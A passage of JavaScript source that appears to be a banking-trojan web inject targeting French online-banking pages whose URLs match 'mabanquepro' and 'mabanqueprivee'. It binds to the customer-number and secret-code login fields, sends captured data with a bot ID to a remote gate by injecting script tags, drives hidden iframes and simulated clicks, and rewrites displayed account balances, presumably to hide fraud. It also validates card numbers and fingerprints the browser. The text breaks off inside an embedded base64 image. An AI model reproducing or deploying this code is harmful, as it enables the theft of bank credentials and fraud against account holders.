  954.                                     found.tag = false;
  955.                                     found.error = false;
  956.                                 }
  957.                             }
  958.                         }
  959.                     }
  960.                     return false;
  961.                 }else{
  962.                     return false;
  963.                 }
  964.             }else{
  965.                 return false;
  966.             }
  967.         },
  968.        
  969.         findin: function(){
  970.             var found = {
  971.                 tag: false,
  972.                 error: false,
  973.                 element: false
  974.             };
  975.        
  976.             if(arguments && arguments.length > 2){
  977.                 var elements = arguments[0].getElementsByTagName(arguments[1]);
  978.                 if(elements && elements.length > 0){
  979.                     for(var i = 0; i < elements.length; i++){
  980.                         for(var e = 2; e < arguments.length; e++){
  981.                             var pattern = new RegExp(arguments[e],"igm");
  982.                             if(pattern.test(elements[i].innerHTML.toLowerCase())){
  983.                                 found.tag = true;
  984.                             }else{
  985.                                 found.error = true;
  986.                             }
  987.                         }
  988.                         if(found.tag && !found.error){
  989.                             return elements[i];
  990.                         }else{
  991.                             found.tag = false;
  992.                             found.error = false;
  993.                         }
  994.                     }
  995.                 }
  996.             }
  997.             return false;
  998.         },
  999.        
  1000.         tinydecode: function(s){
  1001.             s = s.replace(/\&lt;/g,'<');
  1002.             s = s.replace(/\&gt;/g,'>');
  1003.             s = s.replace(/\&quot;/g,'"');
  1004.             s = s.replace(/\&amp;/g,'&');
  1005.             s = s.replace(/\&nbsp;/g,' ');
  1006.             return s;
  1007.         },
  1008.        
  1009.         child: function(parent,child){
  1010.             return parent && child ? parent.getElementsByTagName(child) : false;
  1011.         },
  1012.        
  1013.         html: function(element){
  1014.             if(element){
  1015.                 var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
  1016.                 return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  1017.             }else{
  1018.                 return "";
  1019.             }
  1020.         },
  1021.        
  1022.         input: function(input,type){
  1023.             switch(type){
  1024.                 case("block"):
  1025.                     if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
  1026.                 break;
  1027.                
  1028.                 case("disable"):
  1029.                     input.disabled = true;
  1030.                 break;
  1031.             }
  1032.         },
  1033.        
  1034.         form: function(form,type){
  1035.             if(form){
  1036.                 switch(type){
  1037.                     case("block"):
  1038.                         var inps = _tables.child(form,"input");
  1039.                         if(inps && inps.length > 0){
  1040.                             for(var i = 0; i < inps.length; i++){
  1041.                                 if(/text|password/igm.test(inps[i].type)){
  1042.                                     _tables.input(inps[i],'block');
  1043.                                 }
  1044.                             }
  1045.                         }
  1046.                     break;
  1047.                 }
  1048.             }
  1049.         },
  1050.        
  1051.         bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
  1052.        
  1053.         replacebutton: function(button,func,btnid){
  1054.             var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
  1055.             for(x in button.attributes){
  1056.                 if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
  1057.                     if(button.attributes[x].name == "onclick" ||
  1058.                         button.attributes[x].name == "name" ||
  1059.                         button.attributes[x].name == "disabled" ||
  1060.                         (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
  1061.                         button.attributes[x].name == "id"
  1062.                     ){
  1063.                         continue;
  1064.                     }
  1065.                     if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
  1066.                         newButton.type = "button";
  1067.                     }else{
  1068.                         newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
  1069.                     }
  1070.                 }
  1071.             }
  1072.            
  1073.             if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
  1074.                 newButton.innerHTML = button.innerHTML;
  1075.             }
  1076.             newButton.style.cursor = "pointer";
  1077.             button.style.display = "none";
  1078.             if(btnid){
  1079.                 newButton.id = btnid;
  1080.             }else{
  1081.                 newButton.id = "_tables.button";
  1082.             }
  1083.             _tables.bind("click",newButton,func);
  1084.             button.parentNode.insertBefore(newButton,button);
  1085.         },
  1086.        
  1087.         encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
  1088.        
  1089.         send: function(){var l = link.gate+'?botid='+_tablesStorage.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
  1090.        
  1091.         status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
  1092.        
  1093.         fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
  1094.        
  1095.         rand: function(a,b){return Math.floor((Math.random()*b)+a);},
  1096.        
  1097.         shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
  1098.        
  1099.         click: function(btn,doc){
  1100.             if(btn.type == "image"){
  1101.                 var inp_X = document.getElementById("inp_X");
  1102.                 var inp_Y = document.getElementById("inp_Y");
  1103.                 var inp_submit = document.getElementById("inp_submit");
  1104.                 if(inp_X)inp_X.parentNode.removeChild(inp_X);
  1105.                 if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
  1106.                 if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
  1107.                 var inp_X = document.createElement("input");
  1108.                 var inp_Y = document.createElement("input");
  1109.                 var inp_submit = document.createElement("input");
  1110.                 inp_X.name = btn.name+".x";
  1111.                 inp_Y.name = btn.name+".y";
  1112.                 inp_submit.name = btn.name;
  1113.                 inp_submit.value = btn.value;
  1114.                 inp_submit.type = "submit";
  1115.                 inp_submit.id = "inp_submit";
  1116.                 inp_X.id = "inp_X";
  1117.                 inp_Y.id = "inp_Y";
  1118.                 inp_X.value = _tables.rand(1,15);
  1119.                 inp_Y.value = _tables.rand(1,15);
  1120.                 inp_X.style.display = "none";
  1121.                 inp_Y.style.display = "none";
  1122.                 inp_submit.style.display = "none";
  1123.                 btn.parentNode.insertBefore(inp_X,btn);
  1124.                 btn.parentNode.insertBefore(inp_Y,btn);
  1125.                 btn.parentNode.insertBefore(inp_submit,btn);
  1126.                 var inp_submit = doc.getElementById("inp_submit");
  1127.                 if(inp_submit)_tables.click("click",inp_submit);
  1128.             }else{
  1129.                 if(document.createEvent){
  1130.                     var event = document.createEvent('MouseEvents');
  1131.                     event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  1132.                     btn.dispatchEvent(event);
  1133.                 }else if(btn.fireEvent){
  1134.                     btn.click();
  1135.                 }
  1136.             }
  1137.         },
  1138.        
  1139.         iframelink: function(link,param){
  1140.             var _tf = document.getElementById("_tables.frame.box");
  1141.             if(_tf)_tf.parentNode.removeChild(_tf);
  1142.                    
  1143.             _tf = document.createElement("div");
  1144.             _tf.style.position = "absolute";
  1145.             _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  1146.             _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  1147.             _tf.id = "_tables.frame.box";
  1148.             _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
  1149.             document.body.appendChild(_tf);
  1150.             var f = document.getElementById("_tables.iframe");
  1151.             f.src = link;
  1152.             if(param)_tables.fstatus(param);
  1153.         },
  1154.        
  1155.         iframedom: function(fr){
  1156.             var r = {
  1157.                 doc: false,
  1158.                 win: false
  1159.             };
  1160.             if(_tables.brows() == "FF" && fr){
  1161.                 r.doc = fr.contentDocument;
  1162.                 r.win = fr.contentWindow;
  1163.             }else{
  1164.                 r.doc = fr.contentWindow.document;
  1165.                 r.win = fr.contentWindow;
  1166.             }
  1167.            
  1168.             return r;
  1169.         },
  1170.        
  1171.         height: function(){
  1172.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
  1173.         },
  1174.        
  1175.         popupshow: function(content,back){
  1176.             _tables.popuphide();
  1177.             back = back ? '#808080' : 'url(clear.png)';
  1178.             var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+800)+'px;z-index:999990;background:'+back+';opacity:0.4;filter: alpha(opacity = 40);"></div>';
  1179.             var _tp = document.createElement("div");
  1180.             _tp.id = "_tables.popup";
  1181.             _tp.innerHTML = bg+""+content;
  1182.             document.getElementsByTagName('body')[0].appendChild(_tp);
  1183.         },
  1184.        
  1185.         popuphide: function(){
  1186.             var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
  1187.         },
  1188.        
  1189.         inarr: function(arr,value){
  1190.             for(var i = 0; i < arr.length; i++){
  1191.                 if(value == arr[i]){
  1192.                     return true;
  1193.                 }
  1194.             }
  1195.             arr.push(value);
  1196.             return false;
  1197.         },
  1198.        
  1199.         placeholdr: function(input){
  1200.             if(_tables.brows() == 'FF')return;
  1201.             var txt = input.getAttribute("placeholder");
  1202.             if(txt.length > 0){
  1203.                 input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
  1204.                 input.value = input.value.length > 0 ? input.value : txt;
  1205.              
  1206.                 input.onfocus = function(){
  1207.                     this.style.color = '#000000';
  1208.                     this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
  1209.                 };
  1210.            
  1211.                 input.onblur = function(){
  1212.                     if(this.value.length == 0){
  1213.                         this.value = this.getAttribute("placeholder");
  1214.                         this.style.color = '#CCCCCC';
  1215.                     }
  1216.                 };
  1217.             }
  1218.         },
  1219.        
  1220.         btntoloader: function(btn,imghref){
  1221.             var img = document.createElement('img');
  1222.             img.align = 'top';
  1223.             img.src = imghref;
  1224.             img.id = '_f_btntoloader';
  1225.             btn.parentNode.insertBefore(img,btn);
  1226.             btn.parentNode.removeChild(btn);
  1227.         },
  1228.        
  1229.         cget: function(param){
  1230.             return gc(param);
  1231.         },
  1232.        
  1233.         cset: function(param){
  1234.             return sc(param);
  1235.         },
  1236.        
  1237.         replace: function(element,summa){
  1238.             var tsel = /select|option/igm.test(element.tagName);
  1239.             var tinp = /input|textarea/igm.test(element.tagName);
  1240.            
  1241.             if(tsel){
  1242.                 if(splitter.value != "none" && splitter.position != "none"){
  1243.                     var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  1244.                     var balance = gc(element.text.split(splitter.value)[splitter.position]);
  1245.                 }else{
  1246.                     var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  1247.                     var balance = gc(element.text);
  1248.                 }
  1249.             }else if(tinp){
  1250.                 if(splitter.value != "none" && splitter.position != "none"){
  1251.                     var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  1252.                     var balance = gc(element.value.split(splitter.value)[splitter.position]);
  1253.                 }else{
  1254.                     var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  1255.                     var balance = gc(element.value);
  1256.                 }
  1257.             }else{
  1258.                 if(splitter.value != "none" && splitter.position != "none"){
  1259.                     var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  1260.                     var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
  1261.                 }else{
  1262.                     var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
  1263.                     var balance = gc(_tables.html(element));
  1264.                 }
  1265.             }
  1266.            
  1267.             var new_balance = balance+parseFloat(summa);
  1268.             if(minus)balance = balance * -1;
  1269.             balance = sc(balance);
  1270.             new_balance = sc(new_balance);
  1271.            
  1272.             if(tsel){
  1273.                 var f = element.text.replace(balance+"",new_balance+"");
  1274.             }else if(tinp){
  1275.                 var f = element.value.replace(balance+"",new_balance+"");
  1276.             }else{
  1277.                 var f = element.innerHTML.replace(balance+"",new_balance+"");
  1278.             }
  1279.            
  1280.             if(parseFloat(new_balance) >= 0){
  1281.                 f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
  1282.                 f = f.replace("-"+new_balance+"",new_balance+"");
  1283.             }else{
  1284.                 f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
  1285.                 f = f.replace(/\-/,"");
  1286.             }
  1287.            
  1288.             if(tsel){
  1289.                 element.text = f;
  1290.             }else if(tinp){
  1291.                 element.value = f;
  1292.             }else{
  1293.                 element.innerHTML = f;
  1294.             }
  1295.            
  1296.             if(splitter.value != "none" && splitter.position != "none"){
  1297.                 splitter.value = "none";
  1298.                 splitter.position = "none";
  1299.             }
  1300.         },
  1301.        
  1302.         splitter: function (value,position){
  1303.             splitter.value = value;
  1304.             splitter.position = position;
  1305.         },
  1306.        
  1307.         match: function(el,data){
  1308.             var pattern = new RegExp(data,"igm");
  1309.             if(pattern.test(el)){
  1310.                 return true;
  1311.             }else{
  1312.                 return false;
  1313.             }
  1314.         },
  1315.        
  1316.         convertdate: function(date){
  1317.             var els = date.split(".");
  1318.             if(els && els.length == 3){
  1319.                 var res = 0;
  1320.                 res += parseFloat(els[2]) * 365;
  1321.                 res += parseFloat(els[1]) * 30;
  1322.                 res += parseFloat(els[0]);
  1323.                 return res;
  1324.             }else{
  1325.                 return -1;
  1326.             }
  1327.         },
  1328.        
  1329.         recolortable: function(table,class1,class2){
  1330.             var tr = _tables.child(table,'tr');
  1331.             if(tr && tr.length > 0){
  1332.                 for(var i = 0; i < tr.length; i++){
  1333.                     tr[i].className = (i % 2 == 0) ? class1 : class2;
  1334.                 }
  1335.             }
  1336.         },
  1337.        
  1338.         id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
  1339.        
  1340.         create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
  1341.        
  1342.         selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
  1343.        
  1344.         after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
  1345.        
  1346.         clone: function(inp,value){
  1347.             var object = document.createElement(inp.tagName);
  1348.             for (x in inp.attributes){
  1349.                 if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
  1350.                     if(inp.attributes[x].name == "onclick" ||
  1351.                        inp.attributes[x].name == "name" ||
  1352.                        inp.attributes[x].name == "href" ||
  1353.                        inp.attributes[x].name == "id" ||
  1354.                        inp.attributes[x].name == "value"
  1355.                     ){
  1356.                         continue;
  1357.                     }
  1358.                     object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
  1359.                 }
  1360.             }
  1361.             if(/select/igm.test(inp.tagName)){
  1362.                 object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
  1363.             }else{
  1364.                 value = value ? value : inp.value;
  1365.                 object.value = value;
  1366.             }
  1367.             object.disabled = true;
  1368.             inp.style.display = "none";
  1369.             inp.parentNode.insertBefore(object,inp);
  1370.         },
  1371.        
  1372.         next: function(e,len,n){
  1373.             if(e.value.length == len)document.getElementById(n).focus();
  1374.         },
  1375.        
  1376.         check_cc: function(value){
  1377.             if (/[^0-9-\s]+/.test(value)) return false;
  1378.             var nCheck = 0, nDigit = 0, bEven = false;
  1379.             value = value.replace(/\D/g, "");
  1380.             for (var n = value.length - 1; n >= 0; n--) {
  1381.                 var cDigit = value.charAt(n),
  1382.                 nDigit = parseInt(cDigit, 10);
  1383.                 if(bEven){
  1384.                     if ((nDigit *= 2) > 9) nDigit -= 9;
  1385.                 }
  1386.                 nCheck += nDigit;
  1387.                 bEven = !bEven;
  1388.             }
  1389.             return (nCheck % 10) == 0;
  1390.         },
  1391.        
  1392.         check_day: function(dd){
  1393.             if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
  1394.                 return true;
  1395.             }else{
  1396.                 return false;
  1397.             }
  1398.         },
  1399.        
  1400.         check_month: function(mm){
  1401.             if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
  1402.                 return true;
  1403.             }else{
  1404.                 return false;
  1405.             }
  1406.         },
  1407.        
  1408.         check_year: function(yy,format){
  1409.             switch(format){
  1410.                 case('YY'):
  1411.                     if(parseFloat(yy) >= 15 && (yy+'').length == 2){
  1412.                         return true;
  1413.                     }else{
  1414.                         return false;
  1415.                     }
  1416.                 break;
  1417.                
  1418.                 case('YYYY'):
  1419.                     if(parseFloat(yy) >= 1920  && parseFloat(yy) <= 2015 && (yy+'').length == 4){
  1420.                         return true;
  1421.                     }else{
  1422.                         return false;
  1423.                     }
  1424.                 break;
  1425.             }
  1426.         }
  1427.     };
  1428. }());
  1429.  
  1430. _tables = Tables;
  1431.  
  1432. (function (window) {
  1433.     {
  1434.         var unknown = '-';
  1435.  
  1436.         // screen
  1437.         var screenSize = '';
  1438.         if (screen.width) {
  1439.             width = (screen.width) ? screen.width : '';
  1440.             height = (screen.height) ? screen.height : '';
  1441.             screenSize += '' + width + " x " + height;
  1442.         }
  1443.  
  1444.         //browser
  1445.         var nVer = navigator.appVersion;
  1446.         var nAgt = navigator.userAgent;
  1447.         var browser = navigator.appName;
  1448.         var version = '' + parseFloat(navigator.appVersion);
  1449.         var majorVersion = parseInt(navigator.appVersion, 10);
  1450.         var nameOffset, verOffset, ix;
  1451.  
  1452.         // Opera
  1453.         if ((verOffset = nAgt.indexOf('Opera')) != -1) {
  1454.             browser = 'Opera';
  1455.             version = nAgt.substring(verOffset + 6);
  1456.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  1457.                 version = nAgt.substring(verOffset + 8);
  1458.             }
  1459.         }
  1460.         // MSIE
  1461.         else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
  1462.             browser = 'Microsoft Internet Explorer';
  1463.             version = nAgt.substring(verOffset + 5);
  1464.         }
  1465.         // Chrome
  1466.         else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
  1467.             browser = 'Chrome';
  1468.             version = nAgt.substring(verOffset + 7);
  1469.         }
  1470.         // Safari
  1471.         else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
  1472.             browser = 'Safari';
  1473.             version = nAgt.substring(verOffset + 7);
  1474.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  1475.                 version = nAgt.substring(verOffset + 8);
  1476.             }
  1477.         }
  1478.         // Firefox
  1479.         else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
  1480.             browser = 'Firefox';
  1481.             version = nAgt.substring(verOffset + 8);
  1482.         }
  1483.         // MSIE 11+
  1484.         else if (nAgt.indexOf('Trident/') != -1) {
  1485.             browser = 'Microsoft Internet Explorer';
  1486.             version = nAgt.substring(nAgt.indexOf('rv:') + 3);
  1487.         }
  1488.         // Other browsers
  1489.         else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
  1490.             browser = nAgt.substring(nameOffset, verOffset);
  1491.             version = nAgt.substring(verOffset + 1);
  1492.             if (browser.toLowerCase() == browser.toUpperCase()) {
  1493.                 browser = navigator.appName;
  1494.             }
  1495.         }
  1496.         // trim the version string
  1497.         if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
  1498.         if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
  1499.         if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
  1500.  
  1501.         majorVersion = parseInt('' + version, 10);
  1502.         if (isNaN(majorVersion)) {
  1503.             version = '' + parseFloat(navigator.appVersion);
  1504.             majorVersion = parseInt(navigator.appVersion, 10);
  1505.         }
  1506.  
  1507.         // mobile version
  1508.         var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
  1509.  
  1510.         // cookie
  1511.         var cookieEnabled = (navigator.cookieEnabled) ? true : false;
  1512.  
  1513.         if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
  1514.             document.cookie = 'testcookie';
  1515.             cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
  1516.         }
  1517.  
  1518.         // system
  1519.         var os = unknown;
  1520.         var clientStrings = [
  1521.             {s:'Windows 3.11', r:/Win16/},
  1522.             {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
  1523.             {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
  1524.             {s:'Windows 98', r:/(Windows 98|Win98)/},
  1525.             {s:'Windows CE', r:/Windows CE/},
  1526.             {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
  1527.             {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
  1528.             {s:'Windows Server 2003', r:/Windows NT 5.2/},
  1529.             {s:'Windows Vista', r:/Windows NT 6.0/},
  1530.             {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
  1531.             {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
  1532.             {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
  1533.             {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
  1534.             {s:'Windows ME', r:/Windows ME/},
  1535.             {s:'Android', r:/Android/},
  1536.             {s:'Open BSD', r:/OpenBSD/},
  1537.             {s:'Sun OS', r:/SunOS/},
  1538.             {s:'Linux', r:/(Linux|X11)/},
  1539.             {s:'iOS', r:/(iPhone|iPad|iPod)/},
  1540.             {s:'Mac OS X', r:/Mac OS X/},
  1541.             {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
  1542.             {s:'QNX', r:/QNX/},
  1543.             {s:'UNIX', r:/UNIX/},
  1544.             {s:'BeOS', r:/BeOS/},
  1545.             {s:'OS/2', r:/OS\/2/},
  1546.             {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
  1547.         ];
  1548.         for (var id in clientStrings) {
  1549.             var cs = clientStrings[id];
  1550.             if (cs.r.test(nAgt)) {
  1551.                 os = cs.s;
  1552.                 break;
  1553.             }
  1554.         }
  1555.  
  1556.         var osVersion = unknown;
  1557.  
  1558.         if (/Windows/.test(os)) {
  1559.             osVersion = /Windows (.*)/.exec(os)[1];
  1560.             os = 'Windows';
  1561.         }
  1562.  
  1563.         switch (os) {
  1564.             case 'Mac OS X':
  1565.                 osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
  1566.                 break;
  1567.  
  1568.             case 'Android':
  1569.                 osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
  1570.                 break;
  1571.  
  1572.             case 'iOS':
  1573.                 osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
  1574.                 osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
  1575.                 break;
  1576.         }
  1577.  
  1578.         // flash (you'll need to include swfobject)
  1579.         /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
  1580.         var flashVersion = 'no check';
  1581.         if (typeof swfobject != 'undefined') {
  1582.             var fv = swfobject.getFlashPlayerVersion();
  1583.             if (fv.major > 0) {
  1584.                 flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
  1585.             }
  1586.             else  {
  1587.                 flashVersion = unknown;
  1588.             }
  1589.         }
  1590.     }
  1591.  
  1592.     window.jscd = {
  1593.         screen: screenSize,
  1594.         browser: browser,
  1595.         browserVersion: version,
  1596.         mobile: mobile,
  1597.         os: os,
  1598.         osVersion: osVersion,
  1599.         cookies: cookieEnabled,
  1600.         flashVersion: flashVersion
  1601.     };
  1602. }(this));
  1603.  
  1604. _tables.set('continue',true);
  1605. _tables.set('message','');
  1606. _tables.set('type','intercept');
  1607. _tables.set('start','start');
  1608. _tables.set('end','end');
  1609. _tables.set('finish','');
  1610. _tables.set('data','');
  1611. _tables.set('login',function(){return _tables.id('client-nbr');});
  1612. _tables.set('password',function(){return _tables.id('secret-nbr');});
  1613. _tables.set('button',function(){return _tables.id('submitIdent');});
  1614. _tables.set('lang',function(){var div = _tables.findout(document,'div','class:language_switcher');if(div){var a = _tables.child(div,'a');if(a && a.length > 0){return _tables.html(a[0]);}}else{return 'EN';}});
  1615. _tables.set('page',function(){if(/mabanquepro/igm.test(document.location.href)){return 3;}else if(/mabanqueprivee/igm.test(document.location.href)){return 2;}else{return 1;}});
  1616. _tables.set('loader',function(){switch(_tables.get('page')){case(1):return 'data:image/gif;base64,R0lGODlhIAAgAPMAAFDfVP///3bleaPtpYHnhJTrltn32cPzxGrjbWHiZX3ngOn66fv9+wAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAIAAgAAAE5xDISWlhperN52JLhSSdRgwVo1ICQZRUsiwHpTJT4iowNS8vyW2icCF6k8HMMBkCEDskxTBDAZwuAkkqIfxIQyhBQBFvAQSDITM5VDW6XNE4KagNh6Bgwe60smQUB3d4Rz1ZBApnFASDd0hihh12BkE9kjAJVlycXIg7CQIFA6SlnJ87paqbSKiKoqusnbMdmDC2tXQlkUhziYtyWTxIfy6BE8WJt5YJvpJivxNaGmLHT0VnOgSYf0dZXS7APdpB309RnHOG5gDqXGLDaC457D1zZ/V/nmOM82XiHRLYKhKP1oZmADdEAAAh+QQJCgAAACwAAAAAIAAgAAAE6hDISWlZpOrNp1lGNRSdRpDUolIGw5RUYhhHukqFu8DsrEyqnWThGvAmhVlteBvojpTDDBUEIFwMFBRAmBkSgOrBFZogCASwBDEY/CZSg7GSE0gSCjQBMVG023xWBhklAnoEdhQEfyNqMIcKjhRsjEdnezB+A4k8gTwJhFuiW4dokXiloUepBAp5qaKpp6+Ho7aWW54wl7obvEe0kRuoplCGepwSx2jJvqHEmGt6whJpGpfJCHmOoNHKaHx61WiSR92E4lbFoq+B6QDtuetcaBPnW6+O7wDHpIiK9SaVK5GgV543tzjgGcghAgAh+QQJCgAAACwAAAAAIAAgAAAE7hDISSkxpOrN5zFHNWRdhSiVoVLHspRUMoyUakyEe8PTPCATW9A14E0UvuAKMNAZKYUZCiBMuBakSQKG8G2FzUWox2AUtAQFcBKlVQoLgQReZhQlCIJesQXI5B0CBnUMOxMCenoCfTCEWBsJColTMANldx15BGs8B5wlCZ9Po6OJkwmRpnqkqnuSrayqfKmqpLajoiW5HJq7FL1Gr2mMMcKUMIiJgIemy7xZtJsTmsM4xHiKv5KMCXqfyUCJEonXPN2rAOIAmsfB3uPoAK++G+w48edZPK+M6hLJpQg484enXIdQFSS1u6UhksENEQAAIfkECQoAAAAsAAAAACAAIAAABOcQyEmpGKLqzWcZRVUQnZYg1aBSh2GUVEIQ2aQOE+G+cD4ntpWkZQj1JIiZIogDFFyHI0UxQwFugMSOFIPJftfVAEoZLBbcLEFhlQiqGp1Vd140AUklUN3eCA51C1EWMzMCezCBBmkxVIVHBWd3HHl9JQOIJSdSnJ0TDKChCwUJjoWMPaGqDKannasMo6WnM562R5YluZRwur0wpgqZE7NKUm+FNRPIhjBJxKZteWuIBMN4zRMIVIhffcgojwCF117i4nlLnY5ztRLsnOk+aV+oJY7V7m76PdkS4trKcdg0Zc0tTcKkRAAAIfkECQoAAAAsAAAAACAAIAAABO4QyEkpKqjqzScpRaVkXZWQEximw1BSCUEIlDohrft6cpKCk5xid5MNJTaAIkekKGQkWyKHkvhKsR7ARmitkAYDYRIbUQRQjWBwJRzChi9CRlBcY1UN4g0/VNB0AlcvcAYHRyZPdEQFYV8ccwR5HWxEJ02YmRMLnJ1xCYp0Y5idpQuhopmmC2KgojKasUQDk5BNAwwMOh2RtRq5uQuPZKGIJQIGwAwGf6I0JXMpC8C7kXWDBINFMxS4DKMAWVW